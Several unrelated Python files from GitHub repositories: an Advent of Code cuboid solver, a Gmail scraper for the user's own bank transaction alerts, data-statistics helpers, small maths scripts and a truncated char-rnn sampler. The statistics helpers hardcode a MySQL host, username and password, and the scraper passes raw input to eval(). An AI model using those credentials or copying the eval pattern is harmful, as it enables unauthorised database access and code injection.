{"seq_id":"42199881517","text":"#!/usr/bin/env python3\n\n# https://adventofcode.com/2021/day/22 - \"reactor reboot\"\n# Author: Greg Hamerly\n\n# I lost a lot of sleep on this. But I enjoyed incrementally improving my\n# program from taking an hour to run to just a few minutes. However, I still\n# feel like I'm missing a key element that would make the program run faster. I\n# stopped after not being able to get a reduction algorithm to work that was\n# based on hashing the face areas of the cubes.\n#\n# Also, everywhere it says \"cube\", it should really say \"cuboid.\"\n\nimport collections\nimport sys\nimport re\n\ndef overlapping_range(alow, ahigh, blow, bhigh):\n    '''Return true if the two ranges overlap. Touching is\n    considered overlapping.'''\n    return alow <= blow <= ahigh or blow <= alow <= bhigh\n\ndef size(r):\n    '''Return the size of a range.'''\n    return (r[1] - r[0]) + 1\n\nclass Cube:\n    def __init__(self, xr, yr, zr):\n        for r in [xr, yr, zr]:\n            assert r[0] <= r[1]\n\n        self.xrange = xr\n        self.yrange = yr\n        self.zrange = zr\n\n    def __eq__(self, other):\n        return self.xrange == other.xrange and \\\n                self.yrange == other.yrange and \\\n                self.zrange == other.zrange\n\n    def __ne__(self, other):\n        return not (self == other)\n\n    def tuple(self):\n        return (self.xrange, self.yrange, self.zrange)\n\n    def __lt__(self, other):\n        return self.tuple() < other.tuple()\n\n    def __hash__(self):\n        return hash(self.xrange + self.yrange + self.zrange)\n\n    def overlaps(self, other):\n        return overlapping_range(*(self.xrange + other.xrange)) and \\\n               overlapping_range(*(self.yrange + other.yrange)) and \\\n               overlapping_range(*(self.zrange + other.zrange))\n\n    def xarea(self): return size(self.yrange) * size(self.zrange)\n    def yarea(self): return size(self.xrange) * size(self.zrange)\n    def zarea(self): return size(self.xrange) * size(self.yrange)\n\n    def volume(self):\n        return size(self.xrange) * size(self.yrange) * size(self.zrange)\n\n    def can_join(self, other):\n        '''Return true if the two cubes are exactly touching on one face (x, y,\n        or z). For this to be true, they must have two of the three ranges be\n        the same, and be 1 apart in the other range.'''\n        match_x = self.xrange == other.xrange\n        match_y = self.yrange == other.yrange\n        match_z = self.zrange == other.zrange\n        touching_x = (self.xrange[1] + 1 == other.xrange[0]) or (other.xrange[1] + 1 == self.xrange[0])\n        touching_y = (self.yrange[1] + 1 == other.yrange[0]) or (other.yrange[1] + 1 == self.yrange[0])\n        touching_z = (self.zrange[1] + 1 == other.zrange[0]) or (other.zrange[1] + 1 == self.zrange[0])\n\n        return (match_x and match_y and touching_z) or \\\n                (match_x and match_z and touching_y) or \\\n                (match_y and match_z and touching_x)\n\n    def join(self, other):\n        '''Here, we are assuming that at least two of the three dimensions\n        overlap (so that the two cubes are touching on one entire face). That\n        is, this method should only be called if self.can_join(other) is\n        true.'''\n\n        minmax = lambda l: (min(l), max(l))\n\n        xrange = minmax(self.xrange + other.xrange)\n        yrange = minmax(self.yrange + other.yrange)\n        zrange = minmax(self.zrange + other.zrange)\n\n        return Cube(xrange, yrange, zrange)\n\n    def intersect(self, other):\n        '''Iteratively yield the 27 sub-cubes for intersecting self with\n        other.'''\n        assert self.overlaps(other)\n\n        # There are 27 possible cubes that result from intersecting two cubes.\n        # Here are the 9 regions in the set of possible intersections of two\n        # rectangles in 2d:\n        #   \n        #   +---+-----+---+\n        #   | 0 |  1  | 2 |\n        #   +---+-----+---+\n        #   |   |     |   |\n        #   | 3 |  4  | 5 |\n        #   |   |     |   |\n        #   +---+-----+---+\n        #   | 6 |  7  | 8 |\n        #   +---+-----+---+\n        #\n        # and in 3d, there are three layers of these.\n\n        xr = sorted([(self.xrange[0], 0), (self.xrange[1], 1), (other.xrange[0], 0), (other.xrange[1], 1)])\n        yr = sorted([(self.yrange[0], 0), (self.yrange[1], 1), (other.yrange[0], 0), (other.yrange[1], 1)])\n        zr = sorted([(self.zrange[0], 0), (self.zrange[1], 1), (other.zrange[0], 0), (other.zrange[1], 1)])\n\n        for i in range(3):\n            (xlow, xlow_end), (xhigh, xhigh_end) = xr[i], xr[i+1]\n            if xlow_end: xlow += 1\n            if not xhigh_end: xhigh -= 1\n            if not xlow <= xhigh:\n                continue\n\n            for j in range(3):\n                (ylow, ylow_end), (yhigh, yhigh_end) = yr[j], yr[j+1]\n                if ylow_end: ylow += 1\n                if not yhigh_end: yhigh -= 1\n                if not ylow <= yhigh:\n                    continue\n                for k in range(3):\n                    (zlow, zlow_end), (zhigh, zhigh_end) = zr[k], zr[k+1]\n                    if zlow_end: zlow += 1\n                    if not zhigh_end: zhigh -= 1\n                    if zlow <= zhigh:\n                        # just yield all of them\n                        yield Cube((xlow, xhigh), (ylow, yhigh), (zlow, zhigh))\n\n    def __repr__(self):\n        return f'{self.xrange},{self.yrange},{self.zrange}'\n\n    def part1_range(self):\n        '''Determine if the cube is in the range specified by the problem for\n        part 1. Only applies to part 1 of today's challenge.'''\n        for r in [self.xrange, self.yrange, self.zrange]:\n            a, b = r\n            if a < -50 or a > 50 or b < -50 or b > 50:\n                return False\n        return True\n\n    def range(self):\n        '''Iteratively yield integers that uniquely represent the points in the\n        cuboid bounded by +/-50 in all directions. Only applies to part 1 of\n        today's challenge.'''\n        for x in range(self.xrange[0], self.xrange[1] + 1):\n            xx = x * 100 * 100\n            for y in range(self.yrange[0], self.yrange[1] + 1):\n                xy = xx + y * 100\n                for z in range(self.zrange[0], self.zrange[1] + 1):\n                    yield xy + z\n\n# for parsing\nrp='-?[0-9]+[.][.]-?[0-9]+'\npattern = re.compile(f'^(?P<cmd>(on|off)) x=(?P<xr>{rp}),y=(?P<yr>{rp}),z=(?P<zr>{rp})$')\n\ndef part1(cubes):\n    cubes = [c for c in cubes if c[1].part1_range()]\n\n    memory = set()\n    for cmd, cube in cubes:\n        if cmd:\n            memory.update(cube.range())\n        else:\n            memory = memory - set(cube.range())\n\n    return len(memory)\n\ndef any_intersect(cubes):\n    for c1 in cubes:\n        for c2 in cubes:\n            if c1 != c2 and c1.overlaps(c2):\n                return True\n    return False\n\nREDUCE_CUBES = 'noreduce' not in sys.argv\n\n# FIXME -- this doesn't work\n# The main idea is to only try to join cubes whose faces match by hashing their\n# face area. I tried to do this just for x, but it kept producing overlapping\n# cubes.\n#def reduce_cubes_hash_area(cubes):\n#    cubes_by_xface = collections.defaultdict(list)\n#    #cubes_by_yface = collections.defaultdict(list)\n#    #cubes_by_zface = collections.defaultdict(list)\n#    for c in cubes:\n#        cubes_by_xface[c.xarea()].append(c)\n#        #cubes_by_yface[c.yarea()].append(c)\n#        #cubes_by_zface[c.zarea()].append(c)\n#\n#    last_cubes = -1\n#    current_cubes = len(cubes)\n#    while current_cubes != last_cubes:\n#        last_cubes = current_cubes\n#        areas = list(cubes_by_xface)\n#        print(f'* all areas {areas} {current_cubes}')\n#        print(f'   all cubes_by_xface: {cubes_by_xface}')\n#        area_ndx = 0\n#        while area_ndx < len(areas):\n#            x_list = cubes_by_xface[areas[area_ndx]]\n#            ensure_no_overlap(x_list)\n#            ensure_no_overlap(sum(cubes_by_xface.values(), []))\n#            i = 0\n#            while i < len(x_list):\n#                j = i + 1\n#                found_join = False\n#                while j < len(x_list):\n#                    c1, c2 = x_list[i], x_list[j]\n#                    if c1.can_join(c2):\n#                        found_join = True\n#                        print(f'removing {x_list[i] == c1} {x_list[j] == c2} {len(x_list)} {i} {j} {c1} {c2}')\n#                        print(f'  x_list = {x_list}')\n#                        x_list[i] = x_list[-1]\n#                        x_list.pop()\n#                        if j < len(x_list):\n#                            x_list[j] = x_list[-1]\n#                        x_list.pop()\n#                        joined = c1.join(c2)\n#                        a = joined.xarea()\n#                        print(f'joining {area_ndx} {areas[area_ndx]} => {a}; {c1} {c2} => {joined}')\n#                        if areas.count(a) == 0:\n#                            print(f'created a new area ({a})')\n#                            areas.append(a)\n#                        cubes_by_xface[a].append(joined)\n#                        print(f'after join: {x_list}')\n#                        current_cubes -= 1\n#                    else:\n#                        j += 1\n#\n#                if not found_join:\n#                    i += 1\n#\n#            area_ndx += 1\n#\n#    print(cubes_by_xface)\n#    cubes = sum(cubes_by_xface.values(), [])\n#    ensure_no_overlap(cubes)\n#    return cubes\n\ndef reduce_cubes_brute_force(cubes):\n    if not REDUCE_CUBES:\n        return cubes\n    '''Given some cubes, join together those cubes that can\n    be joined by looking at all pairs (repeatedly).'''\n    cubes_list = list(cubes)\n    remaining_length = -1\n    remaining = []\n    old_volume = sum(c.volume() for c in cubes)\n\n    while remaining_length != len(remaining):\n        # \"remaining\" contains those indexes of the\n        # cubes_list which are available for joining.\n        remaining = list(range(len(cubes_list)))\n        reduced_cubes = []\n        remaining_length = len(remaining)\n\n        i = 0\n        while i < len(remaining):\n            # treat the i'th remaining as the next unique\n            # cube which we join other cubes to\n            reduced_cubes.append(cubes_list[remaining[i]])\n\n            # try to join everything else to the current one\n            j = i + 1\n            while j < len(remaining):\n                c2 = cubes_list[remaining[j]]\n                if reduced_cubes[-1].can_join(c2):\n                    joined = reduced_cubes[-1].join(c2)\n                    assert reduced_cubes[-1].volume() + c2.volume() == joined.volume()\n                    reduced_cubes[-1] = joined\n\n                    # we joined j, so remove it from remaining\n                    remaining[-1], remaining[j] = remaining[j], remaining[-1]\n                    remaining.pop()\n                else:\n                    j += 1\n            i += 1\n\n        cubes_list = reduced_cubes\n\n    new_volume = sum(c.volume() for c in cubes_list)\n    assert old_volume == new_volume, (old_volume, new_volume)\n\n    return cubes_list\n\ndef reduce_cubes(cubes):\n    if REDUCE_CUBES:\n        return reduce_cubes_brute_force(cubes)\n    return cubes\n\ndef part2(cubes):\n    # discard any beginning cubes that are off\n    first_on = 0\n    while first_on < len(cubes) and not cubes[first_on][0]:\n        first_on += 1\n\n    cubes = cubes[first_on:]\n    on_cubes = [cubes[0][1]]\n\n    cube_num = 2\n    for new_cmd, new_cube in cubes[1:]:\n        print(cube_num, '/', len(cubes), '-' * 10)\n        cube_num += 1\n\n        if not new_cmd:\n            # turn off lights\n            i = 0\n            new_cubes = []\n            while i < len(on_cubes):\n                on_cube = on_cubes[i]\n                if on_cube.overlaps(new_cube):\n                    on_cubes[i], on_cubes[-1] = on_cubes[-1], on_cubes[i]\n                    on_cubes.pop()\n                    new_cubes.extend(reduce_cubes([c for c in on_cube.intersect(new_cube) if c.overlaps(on_cube) and not c.overlaps(new_cube)]))\n                else:\n                    i += 1\n\n            on_cubes.extend(new_cubes)\n\n            print(f'after {new_cmd}, {new_cube}')\n            print(f'on_cubes: {len(on_cubes)}')\n            print(f'current volume: {sum([c.volume() for c in on_cubes])}')\n\n        else:\n            # turn on lights -- but avoid double counting\n\n            # Keep a (hopefully) small frontier of cubes\n            # that should be added. Repeatedly find\n            # intersections with the existing cubes, and\n            # split those intersections into things that\n            # should go back into the original set (which\n            # were guaranteed to not have any intersections\n            # with anything else), or stay in the frontier\n            # (which needs further comparison with other\n            # pre-existing cubes).\n\n            # Getting this to only be a triply-nested loop\n            # (as opposed to quadruple or quintuple) took a\n            # lot of patience and fiddling.\n            frontier = [new_cube]\n            i = 0\n            while i < len(on_cubes):\n                j = 0\n                found_intersection = False\n                while j < len(frontier) and i < len(on_cubes):\n                    c1 = frontier[j]\n                    c2 = on_cubes[i]\n                    if c1.overlaps(c2):\n                        found_intersection = True\n                        # get rid of frontier[j] and on_cubes[i]\n                        frontier[-1], frontier[j] = frontier[j], frontier[-1]\n                        frontier.pop()\n                        on_cubes[-1], on_cubes[i] = on_cubes[i], on_cubes[-1]\n                        on_cubes.pop()\n\n                        for c in c1.intersect(c2):\n                            if c2.overlaps(c):\n                                # all parts that were originally part of\n                                # the on_cubes set should stay there\n                                on_cubes.append(c)\n                            elif c1.overlaps(c):\n                                # parts that were not but are in the new\n                                # cube should be added back to the frontier\n                                frontier.append(c)\n                    else:\n                        j += 1\n\n                if not found_intersection:\n                    i += 1\n            \n            ensure_no_overlap(on_cubes)\n            ensure_no_overlap(frontier)\n\n            on_cubes += frontier\n\n            print(f'after {new_cmd}, {new_cube}')\n            print(f'on_cubes: {len(on_cubes)}')\n            print(f'current volume: {sum([c.volume() for c in on_cubes])}')\n\n        # sanity check\n        ensure_no_overlap(on_cubes)\n\n        # reduce on_cubes\n        old_volume = sum([c.volume() for c in on_cubes])\n        orig_len = len(on_cubes)\n        on_cubes = reduce_cubes(on_cubes)\n        print(f'reduced {orig_len} -> {len(on_cubes)}')\n        new_volume = sum([c.volume() for c in on_cubes])\n        assert old_volume == new_volume, (old_volume, new_volume)\n\n        # sanity check 2\n        ensure_no_overlap(on_cubes)\n\n    return sum([c.volume() for c in on_cubes])\n\ndef ensure_no_overlap(cubes):\n    for c1 in cubes:\n        for c2 in cubes:\n            if c1 < c2:\n                assert not c1.overlaps(c2), (c1, c2)\n\ndef parse(lines):\n    f = lambda r: tuple(map(int, r.split('..')))\n    cubes = []\n    for line in lines:\n        m = pattern.match(line)\n        assert m, line\n        cmd = m.group('cmd') == 'on'\n        xr = f(m.group('xr'))\n        yr = f(m.group('yr'))\n        zr = f(m.group('zr'))\n        c = Cube(xr, yr, zr)\n\n        cubes.append((cmd, c))\n\n    return cubes\n\nif __name__ == '__main__':\n    regular_input = __file__.split('/')[-1][:-len('.py')] + '.in'\n    file = regular_input if len(sys.argv) <= 1 else sys.argv[1]\n    print(f'using input: {file}')\n    with open(file) as f:\n        lines = list(map(str.strip, f))\n\n    cubes = parse(lines)\n\n    print('part1:', part1(cubes))\n    print('part2:', part2(cubes))\n","repo_name":"ghamerly/adventofcode2021","sub_path":"22/22.py","file_name":"22.py","file_ext":"py","file_size_in_byte":15934,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"1690324056","text":"from google.oauth2.credentials import Credentials\nfrom googleapiclient.discovery import build\nfrom google_auth_oauthlib.flow import InstalledAppFlow\nimport base64\nfrom ssl import SSLEOFError\nfrom bs4 import BeautifulSoup as bs\nimport re\nimport pandas as pd\n\nSCOPES = ['https://www.googleapis.com/auth/gmail.readonly']\n\nflow = InstalledAppFlow.from_client_secrets_file('/Package/credentials.json', SCOPES)\ncreds = flow.run_local_server(port=0)\nservice = build('gmail', 'v1', credentials=creds)\nprofile = service.users().getProfile(userId='me').execute()\nprofile = pd.DataFrame([profile])\nprint(profile)     # Viewing user gmail profile\n\ndef extract_transaction(maxResult=50, excel = False, csv=False):\n    # Filtering for transaction mails\n    filter = service.users().messages().list(userId = 'me', maxResults=maxResult,\n                                         q = 'from:no_reply@accessbankplc.com \\\n                                             subject:AccessAlert Transaction Alert').execute()\n\n    # Extracting Ids from filtered mail\n    filter_id = filter['messages']\n    id_lst = []\n    for ids in filter_id:\n        id_lst.append(ids['id'])\n    \n    # Accessing trasaction summary\n    trans_lst = []\n    for each_id in id_lst:\n        msgs = service.users().messages().get(userId = 'me', id = each_id).execute()\n        snippet = msgs['snippet']\n        main_body = msgs['payload']['body']['data']\n        main_body = main_body.replace('-', '+').replace('_', '/')\n        decode_msg = base64.b64decode(main_body)\n        soup = bs(decode_msg, 'lxml')\n        details = soup.find_all('tr')[7]\n        \n        # Extracting required parameters from transaction summary\n        description = details.find_all('td')[6].text.replace('\\r',' ').replace(\"\\n\",\" \").strip()\n        reference_number = details.find_all('td')[8].text.replace('\\r',' ').replace(\"\\n\",\" \").strip()\n        trans_branch = details.find_all('td')[10].text.replace('\\r',' ').replace(\"\\n\",\" \").strip()\n        date = msgs['payload']['headers'][-1]['value']\n        amount = re.search('\\d*\\.+\\d+', snippet).group()\n        acct_no = re.search('\\d*\\*+\\d+', snippet).group()\n        \n        # Checking the type of transaction\n        if 'Credited' in snippet:\n            trans_type = 'Credited'\n        else:\n            trans_type = 'Debited'\n        \n        # Appending extracted parameters to a dictionary\n        trans_lst.append({\n            'amount': float(amount),\n            'a/c_number': acct_no,\n            'trans_type': trans_type,\n            'description': description,\n            'reference_number': reference_number,\n            'trans_branch': trans_branch,\n            'datetime': pd.to_datetime(date).tz_localize(None)\n        })\n\n\n    # Assigning columns names and returning a dataframe of extracted parameters\n    cols_name = ['amount', 'a/c_number', 'trans_type', 'description', \n                 'reference_number', 'trans_branch', 'datetime']\n    data = pd.DataFrame(trans_lst, columns=cols_name)\n    \n    if excel:\n        data.to_excel(\"transaction.xlsx\", index=False)\n    elif csv:\n        data.to_csv(\"transaction.csv\", index=False)\n        \n    print(data.head())\n\nif __name__ == '__main__':\n    # Handling SSL Error.\n    try:\n        # Taking inputs from the command line\n        number = int(input(\"Input number of transaction to extract: \"))\n        ex = eval(input(\"Save as excel file. True or False: \").title())\n        cs = eval(input(\"Save as csv file. True or False: \").title())\n    except SSLEOFError as error:\n        print(\"Run the code again\")\n\n    extract_transaction(maxResult=number, excel=ex, csv=cs)\n        \n","repo_name":"TelRich/Gmail_Scrapping_for_Bank_Transactions","sub_path":"extraction.py","file_name":"extraction.py","file_ext":"py","file_size_in_byte":3627,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"13742400988","text":"#!/usr/bin/env python3\r\n# -*- coding:utf-8 -*-\r\n\r\n\r\n# =============================================================================\r\n# File Name: setup.py\r\n# Author: DaiDai\r\n# Mail: daidai4269@aliyun.com\r\n# Created Time: Thu Aug 15 17:50:36 2019\r\n# =============================================================================\r\n\r\n\r\nfrom setuptools import setup\r\nfrom setuptools import find_packages\r\nimport setuptools\r\n\r\n\r\ninstall_requires = []\r\nwith open(\"requirements.txt\") as f:\r\n    for line in f.readlines():\r\n        install_requires.append(line.rstrip(\"\\n\"))\r\n\r\n\r\nsetup(\r\n    name=\"LeetCode.VIP\",\r\n    version=\"0.1\",\r\n    license = \"\",\r\n    author='DaiDai',\r\n    author_email='daidai4269@aliyun.com',\r\n    long_description = \"\",\r\n    description = \"This is a simple shell tool about algorithms problem \\\r\n        information of LeetCode. This tool support linux and Mac OX.\",\r\n    url='https://github.com/daidai21/LeetCode.VIP',\r\n    install_requires = install_requires,\r\n)\r\n","repo_name":"daidai21/LeetCode.VIP","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":982,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"35"}
{"seq_id":"72250184740","text":"import os\n\n# Local imports\nfrom src.errors import *\nfrom src.initialize import Initialize\nfrom src.configreader import ConfigReader\n\ninitializer = Initialize()\nconfig_file = initializer.config_file\nconfig_reader = ConfigReader(config_file)\nmain = initializer.basic_main\n# List of files and the text editor to open them with\nfiles, editor = config_reader.read_config(\"hs-work\")\n\nif not editor:\n    raise ConfigError(\"No editor specified for the files\")\n\n\ndef execute():\n    if len(files) > 0:\n        for file in files:\n            print(\" Opening\", file)\n            os.system('START \"\" \"{0}\" \"{1}\"'.format(editor, file))\n\n    # If no files are specified in config.ini\n    else:\n        raise ConfigError(\"No files specified in the configuration file\")\n\n\nif __name__ == \"__main__\":\n    main(execute)\n","repo_name":"areebbeigh/hacker-scripts","sub_path":"hs-work.py","file_name":"hs-work.py","file_ext":"py","file_size_in_byte":800,"program_lang":"python","lang":"en","doc_type":"code","stars":78,"dataset":"github-code","pt":"35"}
{"seq_id":"12438966991","text":"# -*- coding = 'utf-8' -*-\n\"\"\"\n\n--------------------------------------------------------\n\nFile Name : utils\n\nDescription : \n\nAuthor : leiliang\n\nDate : 2020/7/9 3:54 下午\n\n--------------------------------------------------------\n\n\"\"\"\nimport base64\nfrom io import BytesIO\n\nimport pandas as pd\nimport numpy as np\nfrom sklearn.metrics.pairwise import cosine_similarity\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nimport pymysql\nimport logging\n\nlog = logging.getLogger(__name__)\n\n\n# ======================= 算法预处理 =============================\n# 特征编码\ndef data_encoder(data: pd.DataFrame, column_name_list, use_onehot=False, default_value=0):\n    for column_name in column_name_list:\n        if use_onehot:\n            if column_name not in data.columns:\n                raise ValueError(\"{} not in {} columns\".format(column_name, data))\n            data = data.join(pd.get_dummies(data[column_name]))\n            data.drop([column_name], axis=1, inplace=True)\n        else:\n            # Replace missing values with \"default_value\"\n            data[column_name][data[column_name].isnull()] = default_value\n            # convert the distinct cabin letters with incremental integer values\n            data[column_name] = pd.factorize(data[column_name])[0]\n    return data\n\n\n# 归一化\ndef data_standard(data: pd.DataFrame, column_name_list, method=\"normal\"):\n    for column_name in column_name_list:\n        if method == \"normal\":\n            data[column_name] = (data[column_name] - data[column_name].min()) / (\n                    data[column_name].max() - data[column_name].min())\n        else:\n            data[column_name] = (data[column_name] - data[column_name].mean()) / (data[column_name].std())\n    return data\n\n\n# 计算向量相似度\ndef data_similarity(data0, data1):\n    assert len(data0) == len(data1)\n    return np.round(cosine_similarity([data0, data1])[0][1], 8)\n\n\n# ======================= 一般描述统计 =============================\n# 计算平均值\ndef data_mean(data, col_name=None):\n    if col_name:\n        data = data[col_name]\n    return data.mean()\n\n\n# 计算中位数\ndef data_median(data, col_name=None):\n    if col_name:\n        data = data[col_name]\n    return data.median()\n\n\n# 计算众数\ndef data_mode(data, col_name=None):\n    if col_name:\n        data = data[col_name]\n    return data.mode()\n\n\n# 计算方差\ndef data_var(data, col_name=None):\n    if col_name:\n        data = data[col_name]\n    return data.var()\n\n\n# 计算标准差\ndef data_std(data, col_name=None):\n    if col_name:\n        data = data[col_name]\n    return data.std()\n\n\n# 计算极数\ndef data_extreme(data, col_name=None):\n    if col_name:\n        data = data[col_name]\n    return data.max(), data.min()\n\n\n# ======================= 数据概况 =============================\n# 变异系数\ndef data_cv(data, col_name=None):\n    if col_name:\n        data = data[col_name]\n    return data.std() / data.mean()\n\n\n# 频数分布\ndef data_count(data, col_name=None):\n    if col_name:\n        data = data[col_name]\n    return data.value_counts()\n\n\n# 四分位数\ndef data_quantity(data, col_name=None, quantity=[0.25, 0.75]):\n    if col_name:\n        data = data[col_name]\n    if isinstance(quantity, float):\n        quantity = [quantity]\n    return data.quantile(quantity)\n\n\n# ======================= 探索性分析 =============================\n# 频数统计（0-1直方图）\ndef data_count_plot(data, col_name=None, hue=None):\n    sns.countplot(x=col_name, hue=hue, data=data, palette=\"Pastel2\")\n    plt.xlabel(col_name)\n    plt.title(\"{} by {}\".format(hue, col_name))\n    plt.savefig(\"count_plot_{}_by_{}.png\".format(hue, col_name))\n\n\n# 相关系数矩阵\ndef data_corr_plot(data, figsize=(20, 16)):\n    corr = data.corr()\n    plt.figure(figsize=figsize)\n    sns.heatmap(corr, xticklabels=corr.columns, yticklabels=corr.columns,\n                linewidths=0.2, cmap=\"YlGnBu\", annot=True)\n    plt.title(\"Correlation between variables\")\n    plt.savefig(\"corr_plot.png\")\n\n\n# 交叉散点图（每个X与Y的散点图）\ndef data_scatter_plot(data, col_name_X, col_name_Y):\n    sns.scatterplot(data[col_name_X], data[col_name_Y])\n    plt.title(\"{} by {}\".format(col_name_Y, col_name_X))\n    plt.savefig(\"scatter_plot_{}_by_{}.png\".format(col_name_Y, col_name_X))\n\n\ndef get_dataframe_from_mysql(sql_sentence, host=None, port=None, user=None, password=None, database=None):\n    conn = pymysql.connect(host='rm-2ze5vz4174qj2epm7so.mysql.rds.aliyuncs.com', port=3306, user='yzkj',\n                           password='yzkj2020@', database='sophia_data', charset='utf8')\n    try:\n        df = pd.read_sql(sql_sentence, conn)\n        return df\n    except Exception as e:\n        raise e\n\n\n# 根据sql获取数据\ndef exec_sql(table_name, X=None, Y=None):\n    # 从数据库拿数据\n    try:\n        if not X and not Y:\n            sql_sentence = \"select * from {};\".format(\"`\" + table_name + \"`\")\n        elif not Y or Y[0] == \"\":\n            sql_sentence = \"select {} from {};\".format(\",\".join(X), \"`\" + table_name + \"`\")\n        else:\n            sql_sentence = \"select {} from {};\".format(\",\".join(X + Y), \"`\" + table_name + \"`\")\n        data = get_dataframe_from_mysql(sql_sentence)\n        return data\n    except Exception as e:\n        log.info(e.args)\n        raise e\n\n\n# 将自变量在多列的表格转成自变量在一列，因变量在一列\ndef transform_h_table_data_to_v(data: pd.DataFrame, X):\n    level_index = []\n    value = []\n    for x in X:\n        level_index.extend([x] * len(data[x]))\n        value.extend(data[x].values.tolist())\n    data = pd.DataFrame({\"level\": level_index, \"value\": value}, dtype=\"float16\")\n    X = [\"level\"]\n    Y = [\"value\"]\n    return data, X, Y\n\n\n# 当是一列分类变量，一列数值型变量，将各个分类对应的数值型变量自成一列，由【分类变量，数值型变量】变成【数值型变量1，数值型变量2，...】\ndef transform_v_table_data_to_h(data: pd.DataFrame, X, Y):\n    list = []\n    col = [d for d in data[X[0]].unique()]\n    for i in col:\n        zh = data[data[X[0]] == i]\n        l = zh.iloc[:, -1].tolist()\n        list.append(l)\n    new_data = pd.DataFrame(list).T\n    new_data.columns = col\n    X = col\n    return new_data, X\n\n\n# 转换输出的表格数据让前端识别并显示\ndef transform_table_data_to_html(data: dict, col0=\"\"):\n    data[\"col\"].insert(0, col0)\n    for idx, (index, row) in enumerate(zip(data[\"row\"], data[\"data\"])):\n        if not isinstance(data[\"data\"][idx], list):\n            data[\"data\"][idx] = list(data[\"data\"][idx])\n        data[\"data\"][idx].insert(0, str(index))\n    if \"row\" in data:\n        del data[\"row\"]\n    return data\n\n\n# format dataframe\ndef format_dataframe(data, config):\n    for key, value in config.items():\n        data[key] = data[key].map(lambda x: format(x, value))\n    return data\n\n\n# 对无列名的dataframe，将数据全转成整数型\ndef format_data(data):\n    data = data.astype(float)\n    length = data.shape[1]\n    for i in range(length):\n        data[i] = data[i].apply(lambda x: \"{:.0f}\".format(x))\n    return data\n\n# 对有列名的dataframe，将数据全转成4位小数\ndef format_data_col(data):\n    data = data.astype(float)\n    length = data.shape[1]\n    for i in range(length):\n        data.iloc[0:,i] = data.iloc[0:,i].apply(lambda x: \"{:.4f}\".format(x))\n    return data\n\n#  matplotlib作图写入内存并输出base64格式供前端调用\ndef plot_and_output_base64_png(plot):\n    plot.rcParams[\"font.sans-serif\"] = [\"Arial Unicode MS\"]\n    plot.rcParams[\"axes.unicode_minus\"] = False\n    # 写入内存\n    save_file = BytesIO()\n    plot.savefig(save_file, format='png')\n    # 转换base64并以utf8格式输出\n    save_file_base64 = base64.b64encode(save_file.getvalue()).decode('utf8')\n    # debug\n    # base64_to_img(save_file_base64)\n    plot.close(\"all\")\n\n    # 写入文件\n    # tmp_file_name = uuid.uuid4()\n    # plot.savefig(\"./img/{}.png\".format(tmp_file_name))\n    # with open(\"./img/{}.png\".format(tmp_file_name), \"rb\") as f:\n    #     save_file_base64 = base64.b64encode(f.read()).decode('utf8')\n\n    return save_file_base64\n# 将没有汇总列的dataframe 变成由汇总列的返回\ndef sum_data(data:pd.DataFrame):\n    data['sum'] = data.sum(axis=1)\n    da = pd.DataFrame(data.sum()).T\n    newd = pd.concat([data, da], axis=0)\n    return newd","repo_name":"qiaowenfanggithub/smartbi_check","sub_path":"statistic/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":8358,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"3063539584","text":"#!/usr/bin/env python3\n\nfrom sys import argv\nfrom is_prime import is_prime\n\nnumber = argv[1]\n\n\ndef prime_factorization(number):\n    int_number = int(number)\n    prime_with_greater_power = {}\n    result = []\n    prime_dividers = [x for x in range(1, int_number+1)\n                      if is_prime(x) is True\n                      if int_number % x == 0]\n    print(\"The prime dividers of {0} are {1}\".format(\n          int_number, prime_dividers))\n    prime_and_power_pairs = [(i, n)\n                             for i in prime_dividers\n                             for n in range(1, int_number)\n                             if int_number % (i**n) == 0]\n    for idx, pair in enumerate(prime_and_power_pairs):\n        prime_with_greater_power[pair[0]] = pair[1]\n    for i in prime_with_greater_power.items():\n        result.append(i)\n    return result\n\n\ndef main():\n    print(prime_factorization(argv[1]))\n\nif __name__ == '__main__':\n    main()\n","repo_name":"ivaylospasov/programming-101","sub_path":"week0/prime_factorization.py","file_name":"prime_factorization.py","file_ext":"py","file_size_in_byte":943,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"27008754778","text":"#!/usr/local/python36/bin/python3\n# _*_ coding: utf-8 _*_\n# 斐波那契数列\n\nran_num = int(input(\"please input a range number:\"))\n\nfib = [0, 1]\nfor i in range((ran_num -2)):\n    fib.append(fib[-1] + fib[-2])\nprint(fib)\n\na = 0\nb = 1\nfibs = []\n\nwhile a < 20:\n    fibs.append(a)\n    a,b = b,a+b\nprint(fibs)\n","repo_name":"liuld/python","sub_path":"fib.py","file_name":"fib.py","file_ext":"py","file_size_in_byte":307,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"11406370020","text":"\"\"\"\nSimple char-rnn based on\n\n    https://github.com/sherjilozair/char-rnn-tensorflow\n\nOriginal article:\n\n    http://karpathy.github.io/2015/05/21/rnn-effectiveness/\n\n\"\"\"\nimport os\nimport pickle\nimport tensorflow as tf\n\nfrom char_rnn_model import Model\n\nFLAGS = tf.app.flags.FLAGS\n\ntf.app.flags.DEFINE_string('save_dir', 'save/char-rnn', \"save directory\")\ntf.app.flags.DEFINE_string('start_text', \" \", \"start text\")\ntf.app.flags.DEFINE_integer('num_chars', 500, \"number of characters to sample\")\ntf.app.flags.DEFINE_integer('seed', 0, \"random number generator seed\")\n\ndef sample():\n    # Load characters\n    filename = os.path.join(FLAGS.save_dir, 'chars_vocab.pkl')\n    with open(filename, 'rb') as f:\n        chars, vocab = pickle.load(f)\n    vocab_size = len(chars)\n\n    # Model\n    model = Model(vocab_size)\n\n    # Saver\n    saver = tf.train.Saver(tf.global_variables())\n\n    with tf.Session() as sess:\n        # Load model\n        ckpt = tf.train.get_checkpoint_state(FLAGS.save_dir)\n        if ckpt and ckpt.model_checkpoint_path:\n            print(\"Loading\", ckpt.model_checkpoint_path)\n            saver.restore(sess, ckpt.model_checkpoint_path)\n        else:\n            raise Exception(\"No checkpoint available.\")\n\n        # Generate 